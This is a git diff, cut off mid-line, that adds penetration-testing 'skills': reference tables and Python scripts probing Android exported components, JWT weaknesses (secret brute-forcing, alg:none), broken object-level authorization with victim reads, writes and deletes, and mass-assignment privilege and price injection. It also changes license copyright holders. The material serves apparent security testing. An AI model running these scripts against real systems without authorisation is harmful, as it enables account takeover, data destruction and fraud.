MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/testing-android-intents-for-vulnerabilities/references/api-reference.md b/skills/testing-android-intents-for-vulnerabilities/references/api-reference.md new file mode 100644 index 00000000..200fdab6 --- /dev/null +++ b/skills/testing-android-intents-for-vulnerabilities/references/api-reference.md @@ -0,0 +1,50 @@ +# API Reference: Testing Android Intents for Vulnerabilities + +## Drozer Modules + +| Module | Description | +|--------|-------------| +| `app.package.attacksurface` | Enumerate exported components | +| `app.activity.info` | List exported activities | +| `app.service.info` | List exported services | +| `app.broadcast.info` | List exported receivers | +| `app.provider.info` | List content providers | +| `app.provider.query` | Query content provider URI | +| `scanner.provider.injection` | Test for SQL injection | +| `scanner.provider.traversal` | Test for path traversal | +| `app.broadcast.send` | Send broadcast intent | +| `app.activity.start` | Start exported activity | + +## ADB Intent Commands + +| Command | Description | +|---------|-------------| +| `adb shell am start -n /` | Start activity | +| `adb shell am broadcast -a ` | Send broadcast | +| `adb shell am startservice -n /` | Start service | +| `adb shell content query --uri ` | Query provider | +| `adb shell dumpsys package ` | Package info | + +## Component Types + +| Type | Risk | Test | +|------|------|------| +| Exported Activity | Auth bypass | Direct launch without intent filters | +| Content Provider | Data leakage, SQLi | Query with modified URIs | +| Broadcast Receiver | Action spoofing | Send crafted broadcasts | +| Service | Unauthorized actions | Bind/start with extras | +| PendingIntent | Hijacking | Check FLAG_MUTABLE | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `subprocess` | stdlib | Execute adb/drozer CLI | +| `re` | stdlib | Parse command output | +| `json` | stdlib | Report generation | + +## References + +- Drozer: https://github.com/WithSecureLabs/drozer +- OWASP MASTG: https://mas.owasp.org/MASTG/ +- Android IPC: https://developer.android.com/guide/components/intents-filters diff --git a/skills/testing-android-intents-for-vulnerabilities/scripts/agent.py b/skills/testing-android-intents-for-vulnerabilities/scripts/agent.py new file mode 100644 index 00000000..09bd3894 --- /dev/null +++ b/skills/testing-android-intents-for-vulnerabilities/scripts/agent.py @@ -0,0 +1,178 @@ +#!/usr/bin/env python3 +"""Agent for testing Android intents for vulnerabilities. + +Uses ADB and Drozer to enumerate exported components, test +intent injection, content provider SQL injection, broadcast +receiver abuse, and pending intent hijacking vulnerabilities. +""" + +import json +import subprocess +import re +import sys +from pathlib import Path +from datetime import datetime + + +class AndroidIntentTestAgent: + """Tests Android app IPC through intents for security flaws.""" + + def __init__(self, package_name, output_dir="./android_intent_test"): + self.package = package_name + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def _adb(self, args, timeout=15): + cmd = ["adb", "shell"] + args + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + return result.stdout.strip(), result.returncode + except (FileNotFoundError, subprocess.TimeoutExpired): + return "", -1 + + def _drozer(self, module, args=""): + cmd_str = f"run {module} -a {self.package} {args}".strip() + cmd = ["drozer", "console", "connect", "-c", cmd_str] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + return result.stdout.strip() + except (FileNotFoundError, subprocess.TimeoutExpired): + return "" + + def enumerate_attack_surface(self): + """Enumerate exported components via Drozer.""" + output = self._drozer("app.package.attacksurface") + surface = {"activities": 0, "services": 0, "receivers": 0, "providers": 0} + + for m in re.finditer(r"(\d+)\s+(activities|broadcast receivers|content providers|services)\s+exported", output): + count = int(m.group(1)) + comp_type = m.group(2) + if "activities" in comp_type: + surface["activities"] = count + elif "services" in comp_type: + surface["services"] = count + elif "receivers" in comp_type: + surface["receivers"] = count + elif "providers" in comp_type: + surface["providers"] = count + + total = sum(surface.values()) + if total > 0: + self.findings.append({ + "severity": "info", + "type": "Attack Surface", + "detail": f"{total} exported components found", + "breakdown": surface, + }) + return surface + + def list_exported_activities(self): + """List exported activities.""" + output = self._drozer("app.activity.info") + activities = [] + for m in re.finditer(r"([\w.]+/[\w.$]+)", output): + activities.append(m.group(1)) + return activities + + def test_activity_access(self, activity_name): + """Test if an exported activity is accessible without auth.""" + output, rc = self._adb(["am", "start", "-n", f"{self.package}/{activity_name}"]) + accessible = "Error" not in output and rc == 0 + if accessible: + self.findings.append({ + "severity": "high", + "type": "Exported Activity Access", + "detail": f"Activity {activity_name} accessible without authentication", + }) + return {"activity": activity_name, "accessible": accessible, "output": output[:200]} + + def test_content_provider_query(self, uri): + """Test content provider for data leakage.""" + output = self._drozer("app.provider.query", uri) + has_data = bool(output) and "No results" not in output and "error" not in output.lower() + if has_data: + self.findings.append({ + "severity": "high", + "type": "Content Provider Data Leakage", + "detail": f"Data accessible via {uri}", + }) + return {"uri": uri, "has_data": has_data, "preview": output[:300]} + + def test_sql_injection(self, uri): + """Test content provider for SQL injection.""" + output = self._drozer("scanner.provider.injection") + injectable = "Injectable" in output or "injection" in output.lower() + if injectable: + self.findings.append({ + "severity": "critical", + "type": "Content Provider SQL Injection", + "detail": f"SQL injection possible in {self.package}", + }) + return {"package": self.package, "injectable": injectable} + + def test_path_traversal(self): + """Test content providers for path traversal.""" + output = self._drozer("scanner.provider.traversal") + vulnerable = "Vulnerable" in output or "traversal" in output.lower() + if vulnerable: + self.findings.append({ + "severity": "critical", + "type": "Content Provider Path Traversal", + "detail": f"Path traversal in {self.package}", + }) + return {"vulnerable": vulnerable} + + def send_broadcast(self, action, extras=None): + """Send broadcast to test exported receivers.""" + cmd = ["am", "broadcast", "-a", action, "-p", self.package] + if extras: + for key, val in extras.items(): + cmd.extend(["--es", key, val]) + output, rc = self._adb(cmd) + return {"action": action, "result": output[:200], "returncode": rc} + + def check_debuggable(self): + """Check if app is debuggable.""" + output, _ = self._adb(["run-as", self.package, "id"]) + debuggable = "uid=" in output + if debuggable: + self.findings.append({ + "severity": "high", + "type": "Debuggable Application", + "detail": f"{self.package} is debuggable", + }) + return debuggable + + def generate_report(self): + surface = self.enumerate_attack_surface() + activities = self.list_exported_activities() + self.check_debuggable() + self.test_sql_injection("") + self.test_path_traversal() + + report = { + "report_date": datetime.utcnow().isoformat(), + "package": self.package, + "attack_surface": surface, + "exported_activities": activities, + "findings": self.findings, + "total_findings": len(self.findings), + } + out = self.output_dir / "android_intent_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py ") + sys.exit(1) + agent = AndroidIntentTestAgent(sys.argv[1]) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/testing-api-authentication-weaknesses/LICENSE b/skills/testing-api-authentication-weaknesses/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/testing-api-authentication-weaknesses/LICENSE +++ b/skills/testing-api-authentication-weaknesses/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/testing-api-authentication-weaknesses/references/api-reference.md b/skills/testing-api-authentication-weaknesses/references/api-reference.md new file mode 100644 index 00000000..d99211b9 --- /dev/null +++ b/skills/testing-api-authentication-weaknesses/references/api-reference.md @@ -0,0 +1,57 @@ +# API Reference: Testing API Authentication Weaknesses + +## JWT Security Checks + +| Check | Severity | Description | +|-------|----------|-------------| +| alg:none | Critical | Signature verification bypassed | +| Weak HMAC secret | Critical | Brute-forceable signing key | +| No exp claim | High | Token never expires | +| Long TTL (>24h) | Medium | Extended token validity | +| Sensitive data in payload | High | PII in JWT claims | +| Missing iss/aud claims | Medium | Token scope ambiguity | + +## OWASP API2:2023 Test Points + +| Test | Category | +|------|----------| +| Unauthenticated endpoint access | Missing auth middleware | +| JWT alg:none bypass | Broken token validation | +| JWT secret brute-force | Weak cryptographic key | +| Token reuse after logout | Missing revocation | +| Refresh token rotation | Session management | +| Account enumeration | Information disclosure | +| Password policy bypass | Weak credential controls | + +## Common JWT HMAC Secrets + +| Secret | Type | +|--------|------| +| `secret` | Default | +| `your-256-bit-secret` | JWT.io example | +| `jwt_secret` | Convention | +| `changeme` | Placeholder | + +## JWT Attack Tools + +| Tool | Purpose | +|------|---------| +| jwt_tool | JWT testing with 12+ attack modes | +| hashcat -m 16500 | GPU JWT secret brute-force | +| Burp JWT Editor | Interactive JWT manipulation | +| Nuclei | Auth bypass templates | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | HTTP API calls | +| `base64` | stdlib | JWT decoding | +| `hmac` | stdlib | HMAC signature testing | +| `hashlib` | stdlib | Hash functions | + +## References + +- OWASP API Security Top 10: https://owasp.org/API-Security/ +- JWT Best Practices RFC 8725: https://www.rfc-editor.org/rfc/rfc8725 +- jwt_tool: https://github.com/ticarpi/jwt_tool diff --git a/skills/testing-api-authentication-weaknesses/scripts/agent.py b/skills/testing-api-authentication-weaknesses/scripts/agent.py new file mode 100644 index 00000000..64bded61 --- /dev/null +++ b/skills/testing-api-authentication-weaknesses/scripts/agent.py @@ -0,0 +1,220 @@ +#!/usr/bin/env python3 +"""Agent for testing API authentication weaknesses. + +Tests JWT implementation flaws, unauthenticated endpoint access, +token lifecycle issues, password policy enforcement, and credential +brute-force resistance aligned with OWASP API2:2023. +""" + +import json +import base64 +import hmac +import hashlib +import sys +import time +from pathlib import Path +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + + +COMMON_JWT_SECRETS = [ + "secret", "password", "123456", "jwt_secret", "supersecret", + "key", "test", "admin", "changeme", "default", + "your-256-bit-secret", "my-secret-key", "jwt-secret", + "s3cr3t", "secret123", "mysecretkey", "apisecret", +] + + +class APIAuthTestAgent: + """Tests API authentication mechanisms for weaknesses.""" + + def __init__(self, base_url, output_dir="./api_auth_test"): + self.base_url = base_url.rstrip("/") + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def _get(self, path, headers=None, timeout=10): + if not requests: + return None + try: + return requests.get(f"{self.base_url}{path}", headers=headers, timeout=timeout) + except requests.RequestException: + return None + + def _post(self, path, data=None, headers=None, timeout=10): + if not requests: + return None + try: + return requests.post(f"{self.base_url}{path}", json=data, + headers=headers, timeout=timeout) + except requests.RequestException: + return None + + def decode_jwt(self, token): + """Decode JWT header and payload without verification.""" + parts = token.split(".") + if len(parts) != 3: + return None, None + def pad(s): + return s + "=" * (4 - len(s) % 4) + try: + header = json.loads(base64.urlsafe_b64decode(pad(parts[0]))) + payload = json.loads(base64.urlsafe_b64decode(pad(parts[1]))) + return header, payload + except Exception: + return None, None + + def test_unauthenticated_endpoints(self, paths=None): + """Test endpoints for missing authentication.""" + default_paths = [ + "/users", "/users/me", "/admin/users", "/admin/settings", + "/health", "/metrics", "/debug", "/actuator", "/actuator/env", + "/swagger.json", "/api-docs", "/graphql", "/config", "/status", + ] + open_endpoints = [] + for path in (paths or default_paths): + resp = self._get(path) + if resp and resp.status_code not in (401, 403, 404, 405): + open_endpoints.append({ + "path": path, + "status": resp.status_code, + "preview": resp.text[:100], + }) + if path not in ("/health", "/status"): + self.findings.append({ + "severity": "high" if "/admin" in path else "medium", + "type": "Unauthenticated Access", + "detail": f"{path} accessible without auth (HTTP {resp.status_code})", + }) + return open_endpoints + + def analyze_jwt(self, token): + """Analyze JWT token for security issues.""" + header, payload = self.decode_jwt(token) + if not header: + return {"error": "Invalid JWT"} + + issues = [] + if header.get("alg") == "none": + issues.append({"severity": "critical", "issue": "Algorithm set to 'none'"}) + if header.get("alg") in ("HS256", "HS384", "HS512"): + issues.append({"severity": "info", "issue": "Symmetric HMAC algorithm - check for weak secrets"}) + if "exp" not in payload: + issues.append({"severity": "high", "issue": "No expiration claim"}) + elif payload["exp"] - time.time() > 86400: + ttl_hours = (payload["exp"] - time.time()) / 3600 + issues.append({"severity": "medium", "issue": f"Long TTL: {ttl_hours:.0f} hours"}) + + sensitive = ["password", "ssn", "credit_card", "secret", "private_key"] + for field in sensitive: + if field in payload: + issues.append({"severity": "high", "issue": f"Sensitive field '{field}' in payload"}) + + missing_claims = [c for c in ["iss", "aud", "exp", "iat", "sub"] if c not in payload] + if missing_claims: + issues.append({"severity": "medium", "issue": f"Missing claims: {missing_claims}"}) + + for issue in issues: + self.findings.append({"severity": issue["severity"], "type": "JWT Issue", "detail": issue["issue"]}) + + return {"header": header, "payload": payload, "issues": issues} + + def brute_force_jwt_secret(self, token): + """Test JWT against common HMAC secrets.""" + header, _ = self.decode_jwt(token) + if not header or header.get("alg") not in ("HS256", "HS384", "HS512"): + return None + + parts = token.split(".") + signing_input = f"{parts[0]}.{parts[1]}".encode() + signature = parts[2] + + alg_map = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512} + hash_func = alg_map[header["alg"]] + + for secret in COMMON_JWT_SECRETS: + expected = base64.urlsafe_b64encode( + hmac.new(secret.encode(), signing_input, hash_func).digest() + ).decode().rstrip("=") + if expected == signature: + self.findings.append({ + "severity": "critical", + "type": "Weak JWT Secret", + "detail": f"JWT secret brute-forced: '{secret}'", + }) + return secret + return None + + def test_token_after_logout(self, token, logout_path="/auth/logout"): + """Test if token remains valid after logout.""" + headers = {"Authorization": f"Bearer {token}"} + self._post(logout_path, headers=headers) + resp = self._get("/users/me", headers=headers) + if resp and resp.status_code == 200: + self.findings.append({ + "severity": "high", + "type": "Token Not Revoked", + "detail": "Token valid after logout - no server-side revocation", + }) + return True + return False + + def test_account_enumeration(self, login_path="/auth/login"): + """Check for account enumeration via login response differences.""" + valid_resp = self._post(login_path, + {"username": "admin@example.com", "password": "wrong"}) + invalid_resp = self._post(login_path, + {"username": "nonexistent_xyz@example.com", "password": "wrong"}) + if valid_resp and invalid_resp: + if valid_resp.text != invalid_resp.text or valid_resp.status_code != invalid_resp.status_code: + self.findings.append({ + "severity": "medium", + "type": "Account Enumeration", + "detail": "Different responses for valid vs invalid accounts", + }) + return True + return False + + def generate_report(self, token=None): + unauth = self.test_unauthenticated_endpoints() + jwt_analysis = None + secret_found = None + if token: + jwt_analysis = self.analyze_jwt(token) + secret_found = self.brute_force_jwt_secret(token) + + report = { + "report_date": datetime.utcnow().isoformat(), + "base_url": self.base_url, + "unauthenticated_endpoints": unauth, + "jwt_analysis": jwt_analysis, + "secret_found": bool(secret_found), + "findings": self.findings, + "total_findings": len(self.findings), + } + out = self.output_dir / "api_auth_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [--token ]") + sys.exit(1) + url = sys.argv[1] + token = None + if "--token" in sys.argv: + token = sys.argv[sys.argv.index("--token") + 1] + agent = APIAuthTestAgent(url) + agent.generate_report(token) + + +if __name__ == "__main__": + main() diff --git a/skills/testing-api-for-broken-object-level-authorization/LICENSE b/skills/testing-api-for-broken-object-level-authorization/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/testing-api-for-broken-object-level-authorization/LICENSE +++ b/skills/testing-api-for-broken-object-level-authorization/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/testing-api-for-broken-object-level-authorization/references/api-reference.md b/skills/testing-api-for-broken-object-level-authorization/references/api-reference.md new file mode 100644 index 00000000..18165ae6 --- /dev/null +++ b/skills/testing-api-for-broken-object-level-authorization/references/api-reference.md @@ -0,0 +1,54 @@ +# API Reference: Testing API for Broken Object Level Authorization + +## BOLA Test Types + +| Test | Method | Severity | +|------|--------|----------| +| Horizontal read | GET victim's resource with attacker token | High | +| Horizontal write | PATCH/PUT victim's resource | Critical | +| Horizontal delete | DELETE victim's resource | Critical | +| ID enumeration | Sequential/predictable ID access | High | +| Method bypass | Different HTTP methods on same resource | High | +| Batch request | Include victim IDs in batch endpoint | High | +| Nested resource | Access child via parent swap | High | + +## Object ID Types + +| Type | Example | Predictability | +|------|---------|---------------| +| Sequential integer | `/orders/1042` | High | +| UUID v4 | `/orders/550e8400-...` | Low | +| Encoded/base64 | `/orders/MTAwMg==` | Medium | +| Composite | `/users/42/orders/1042` | High | +| Slug | `/profiles/john-doe` | Medium | + +## OWASP API1:2023 Checks + +| Check | Description | +|-------|-------------| +| Per-object authorization | Every object access checks ownership | +| Data-layer enforcement | WHERE user_id = authenticated_user.id | +| Rate limiting | Slow enumeration attempts | +| UUID over sequential | Reduce predictability | +| Batch endpoint auth | Validate all IDs in arrays | + +## Automated Tools + +| Tool | Purpose | +|------|---------| +| Autorize (Burp) | Automated BOLA detection | +| OWASP ZAP Access Control | Authorization boundary testing | +| ffuf | ID enumeration at scale | +| Postman | Manual BOLA testing | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | HTTP API calls | +| `json` | stdlib | Response parsing | + +## References + +- OWASP API Security: https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/ +- Autorize: https://github.com/Quitten/Autorize diff --git a/skills/testing-api-for-broken-object-level-authorization/scripts/agent.py b/skills/testing-api-for-broken-object-level-authorization/scripts/agent.py new file mode 100644 index 00000000..da34ea18 --- /dev/null +++ b/skills/testing-api-for-broken-object-level-authorization/scripts/agent.py @@ -0,0 +1,198 @@ +#!/usr/bin/env python3 +"""Agent for testing APIs for Broken Object Level Authorization (BOLA). + +Tests REST and GraphQL APIs for IDOR/BOLA vulnerabilities by +systematically swapping object IDs between authenticated users +to detect missing per-object authorization checks. OWASP API1:2023. +""" + +import json +import sys +from pathlib import Path +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + + +class BOLATestAgent: + """Tests APIs for Broken Object Level Authorization.""" + + def __init__(self, base_url, output_dir="./bola_test"): + self.base_url = base_url.rstrip("/") + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def _req(self, method, path, headers=None, data=None, timeout=10): + if not requests: + return None + try: + return requests.request(method, f"{self.base_url}{path}", + headers=headers, json=data, timeout=timeout) + except requests.RequestException: + return None + + def get_user_objects(self, token, profile_path="/users/me", objects_path="/orders"): + """Retrieve a user's ID and owned object IDs.""" + headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + profile_resp = self._req("GET", profile_path, headers=headers) + if not profile_resp or profile_resp.status_code != 200: + return None, [] + + user_data = profile_resp.json() + user_id = user_data.get("id") + + objects_resp = self._req("GET", objects_path, headers=headers) + object_ids = [] + if objects_resp and objects_resp.status_code == 200: + data = objects_resp.json() + items = data if isinstance(data, list) else data.get("items", data.get("data", data.get("orders", []))) + object_ids = [item.get("id") for item in items if item.get("id")] + + return user_id, object_ids + + def test_horizontal_read(self, attacker_token, victim_object_ids, resource_path="/orders"): + """Test if attacker can read victim's objects.""" + headers = {"Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json"} + results = [] + for oid in victim_object_ids: + resp = self._req("GET", f"{resource_path}/{oid}", headers=headers) + vulnerable = resp and resp.status_code == 200 + result = { + "test": f"Read {resource_path}/{oid}", + "status": resp.status_code if resp else "error", + "vulnerable": vulnerable, + } + if vulnerable: + self.findings.append({ + "severity": "high", + "type": "BOLA Read", + "detail": f"GET {resource_path}/{oid} returns other user's data", + "owasp": "API1:2023", + }) + results.append(result) + return results + + def test_horizontal_write(self, attacker_token, victim_object_ids, + resource_path="/orders", payload=None): + """Test if attacker can modify victim's objects.""" + headers = {"Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json"} + test_payload = payload or {"status": "cancelled"} + results = [] + for oid in victim_object_ids: + resp = self._req("PATCH", f"{resource_path}/{oid}", + headers=headers, data=test_payload) + vulnerable = resp and resp.status_code in (200, 204) + result = { + "test": f"Modify {resource_path}/{oid}", + "method": "PATCH", + "status": resp.status_code if resp else "error", + "vulnerable": vulnerable, + } + if vulnerable: + self.findings.append({ + "severity": "critical", + "type": "BOLA Write", + "detail": f"PATCH {resource_path}/{oid} modifies other user's data", + "owasp": "API1:2023", + }) + results.append(result) + return results + + def test_horizontal_delete(self, attacker_token, victim_object_id, + resource_path="/orders"): + """Test if attacker can delete victim's object.""" + headers = {"Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json"} + resp = self._req("DELETE", f"{resource_path}/{victim_object_id}", headers=headers) + vulnerable = resp and resp.status_code in (200, 204) + if vulnerable: + self.findings.append({ + "severity": "critical", + "type": "BOLA Delete", + "detail": f"DELETE {resource_path}/{victim_object_id} destroys other user's data", + "owasp": "API1:2023", + }) + return {"test": f"Delete {resource_path}/{victim_object_id}", + "status": resp.status_code if resp else "error", + "vulnerable": vulnerable} + + def test_id_enumeration(self, attacker_token, known_id, resource_path="/orders", + range_offset=5): + """Test sequential ID enumeration.""" + headers = {"Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json"} + accessible = [] + for offset in range(-range_offset, range_offset + 1): + test_id = known_id + offset + if test_id == known_id: + continue + resp = self._req("GET", f"{resource_path}/{test_id}", headers=headers) + if resp and resp.status_code == 200: + accessible.append(test_id) + if accessible: + self.findings.append({ + "severity": "high", + "type": "ID Enumeration", + "detail": f"Sequential IDs accessible: {accessible[:5]}", + }) + return accessible + + def test_method_bypass(self, attacker_token, victim_object_id, + resource_path="/users"): + """Test if different HTTP methods bypass authorization.""" + headers = {"Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json"} + results = [] + for method in ["GET", "PUT", "PATCH", "DELETE", "HEAD"]: + data = {"name": "test"} if method in ("PUT", "PATCH") else None + resp = self._req(method, f"{resource_path}/{victim_object_id}", + headers=headers, data=data) + if resp and resp.status_code not in (401, 403, 404, 405): + results.append({"method": method, "status": resp.status_code}) + self.findings.append({ + "severity": "high", + "type": "Method Bypass", + "detail": f"{method} {resource_path}/{victim_object_id} -> {resp.status_code}", + }) + return results + + def generate_report(self, attacker_token=None, victim_ids=None): + read_results = [] + write_results = [] + if attacker_token and victim_ids: + read_results = self.test_horizontal_read(attacker_token, victim_ids) + write_results = self.test_horizontal_write(attacker_token, victim_ids) + + report = { + "report_date": datetime.utcnow().isoformat(), + "base_url": self.base_url, + "read_tests": read_results, + "write_tests": write_results, + "findings": self.findings, + "total_findings": len(self.findings), + } + out = self.output_dir / "bola_test_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [--token ] [--victim-ids 1,2,3]") + sys.exit(1) + url = sys.argv[1] + token = None + victim_ids = [] + if "--token" in sys.argv: + token = sys.argv[sys.argv.index("--token") + 1] + if "--victim-ids" in sys.argv: + victim_ids = [int(x) for x in sys.argv[sys.argv.index("--victim-ids") + 1].split(",")] + agent = BOLATestAgent(url) + agent.generate_report(token, victim_ids) + + +if __name__ == "__main__": + main() diff --git a/skills/testing-api-for-mass-assignment-vulnerability/LICENSE b/skills/testing-api-for-mass-assignment-vulnerability/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/testing-api-for-mass-assignment-vulnerability/LICENSE +++ b/skills/testing-api-for-mass-assignment-vulnerability/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/testing-api-for-mass-assignment-vulnerability/references/api-reference.md b/skills/testing-api-for-mass-assignment-vulnerability/references/api-reference.md new file mode 100644 index 00000000..20fc5f4d --- /dev/null +++ b/skills/testing-api-for-mass-assignment-vulnerability/references/api-reference.md @@ -0,0 +1,52 @@ +# API Reference: Testing API for Mass Assignment Vulnerability + +## Privilege Field Categories + +| Category | Example Fields | Impact | +|----------|---------------|--------| +| Role elevation | role, userRole, account_type | Admin access | +| Admin flags | isAdmin, is_superuser | Full privileges | +| Permissions | permissions, scopes, groups | Arbitrary access | +| Account status | verified, is_active | Bypass verification | +| Financial | balance, credit, discount, price | Monetary fraud | +| Ownership | user_id, owner_id | Data theft | +| Internal | debug, is_featured | Hidden features | + +## Framework-Specific Payloads + +| Framework | Payload Pattern | +|-----------|----------------| +| Rails/ActiveRecord | `{"user": {"role": "admin"}}` | +| Django REST | `{"is_staff": true, "is_superuser": true}` | +| Express/Mongoose | `{"$set": {"role": "admin"}}` | +| Spring Boot | `{"authorities": [{"authority": "ROLE_ADMIN"}]}` | + +## OWASP API3:2023 Mitigations + +| Mitigation | Description | +|-----------|-------------| +| DTO/Input Schema | Explicit allowed fields per endpoint | +| Strong parameters | Framework allowlist (Rails) | +| Serializer fields | Django REST serializer definition | +| Property filter | Drop unknown fields before binding | + +## Test Tools + +| Tool | Purpose | +|------|---------| +| Burp Repeater | Manual parameter injection | +| Param Miner (Burp) | Hidden parameter discovery | +| Arjun | Automated parameter fuzzing | +| Postman | Request body manipulation | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | HTTP API calls | +| `json` | stdlib | Payload construction | + +## References + +- OWASP API3:2023: https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/ +- Param Miner: https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943 diff --git a/skills/testing-api-for-mass-assignment-vulnerability/scripts/agent.py b/skills/testing-api-for-mass-assignment-vulnerability/scripts/agent.py new file mode 100644 index 00000000..24b9e9b6 --- /dev/null +++ b/skills/testing-api-for-mass-assignment-vulnerability/scripts/agent.py @@ -0,0 +1,198 @@ +#!/usr/bin/env python3 +"""Agent for testing APIs for mass assignment vulnerabilities. + +Tests API endpoints for auto-binding vulnerabilities where clients +can modify privileged fields (role, balance, permissions) by +including extra parameters in request bodies. OWASP API3:2023. +""" + +import json +import sys +from pathlib import Path +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + + +PRIVILEGE_FIELDS = { + "role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin", + "account_type": "admin", "accountType": "admin"}, + "admin_flags": {"is_admin": True, "isAdmin": True, "admin": True, + "is_superuser": True, "isSuperuser": True}, + "permissions": {"permissions": ["*"], "scopes": ["admin:*"], + "groups": ["administrators"], "roles": ["admin"]}, + "account_status": {"is_active": True, "verified": True, + "email_verified": True, "status": "active"}, + "financial": {"balance": 99999.99, "credit": 99999, "discount": 100, + "price": 0.01}, + "ownership": {"user_id": 1, "userId": 1, "owner_id": 1}, + "internal": {"internal_notes": "test", "debug": True, "is_featured": True}, + "temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01"}, +} + + +class MassAssignmentTestAgent: + """Tests APIs for mass assignment / auto-binding vulnerabilities.""" + + def __init__(self, base_url, output_dir="./mass_assign_test"): + self.base_url = base_url.rstrip("/") + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def _req(self, method, path, headers=None, data=None, timeout=10): + if not requests: + return None + try: + return requests.request(method, f"{self.base_url}{path}", + headers=headers, json=data, timeout=timeout) + except requests.RequestException: + return None + + def test_endpoint(self, method, path, base_payload, token): + """Test a writable endpoint for mass assignment.""" + headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + results = [] + + for category, fields in PRIVILEGE_FIELDS.items(): + test_payload = {**base_payload, **fields} + resp = self._req(method, path, headers=headers, data=test_payload) + if not resp or resp.status_code not in (200, 201): + continue + + try: + resp_data = resp.json() + except (json.JSONDecodeError, ValueError): + continue + + for field_name, injected in fields.items(): + actual = resp_data.get(field_name) + if actual is not None and str(actual) == str(injected): + finding = { + "endpoint": f"{method} {path}", + "category": category, + "field": field_name, + "injected": injected, + "confirmed": True, + } + results.append(finding) + severity = "critical" if category in ("role_elevation", "admin_flags", "financial") else "high" + self.findings.append({ + "severity": severity, + "type": "Mass Assignment", + "detail": f"{method} {path}: {field_name}={injected} accepted", + "owasp": "API3:2023", + }) + return results + + def verify_state_change(self, token, verification_path="/users/me", + field_name=None, expected_value=None): + """Verify injected field persisted in the database.""" + headers = {"Authorization": f"Bearer {token}"} + resp = self._req("GET", verification_path, headers=headers) + if not resp or resp.status_code != 200: + return False + data = resp.json() + actual = data.get(field_name) + return actual is not None and str(actual) == str(expected_value) + + def test_registration(self, register_path="/auth/register", base_payload=None): + """Test registration endpoint for mass assignment.""" + base = base_payload or { + "email": "massassign_test@example.com", + "password": "SecureP@ss123!", + "name": "Test User", + } + results = [] + for category, fields in PRIVILEGE_FIELDS.items(): + test_payload = {**base, **fields} + resp = self._req("POST", register_path, data=test_payload) + if not resp or resp.status_code not in (200, 201): + continue + try: + resp_data = resp.json() + except (json.JSONDecodeError, ValueError): + continue + for field_name, injected in fields.items(): + actual = resp_data.get(field_name) + if actual is not None and str(actual) == str(injected): + results.append({ + "endpoint": f"POST {register_path}", + "field": field_name, + "injected": injected, + }) + self.findings.append({ + "severity": "critical", + "type": "Registration Mass Assignment", + "detail": f"Registration accepts {field_name}={injected}", + }) + return results + + def test_financial_manipulation(self, token, order_path="/orders"): + """Test order/financial endpoints for price manipulation.""" + headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + payloads = [ + {"items": [{"product_id": 1, "quantity": 1}], "total": 0.01}, + {"items": [{"product_id": 1, "quantity": 1}], "discount_percent": 100}, + {"items": [{"product_id": 1, "quantity": 1}], "shipping_cost": 0, "tax": 0}, + ] + results = [] + for payload in payloads: + resp = self._req("POST", order_path, headers=headers, data=payload) + if resp and resp.status_code in (200, 201): + try: + data = resp.json() + total = float(data.get("total", 999)) + if total < 1.0: + results.append({"payload": payload, "total": total}) + self.findings.append({ + "severity": "critical", + "type": "Price Manipulation", + "detail": f"Order created with 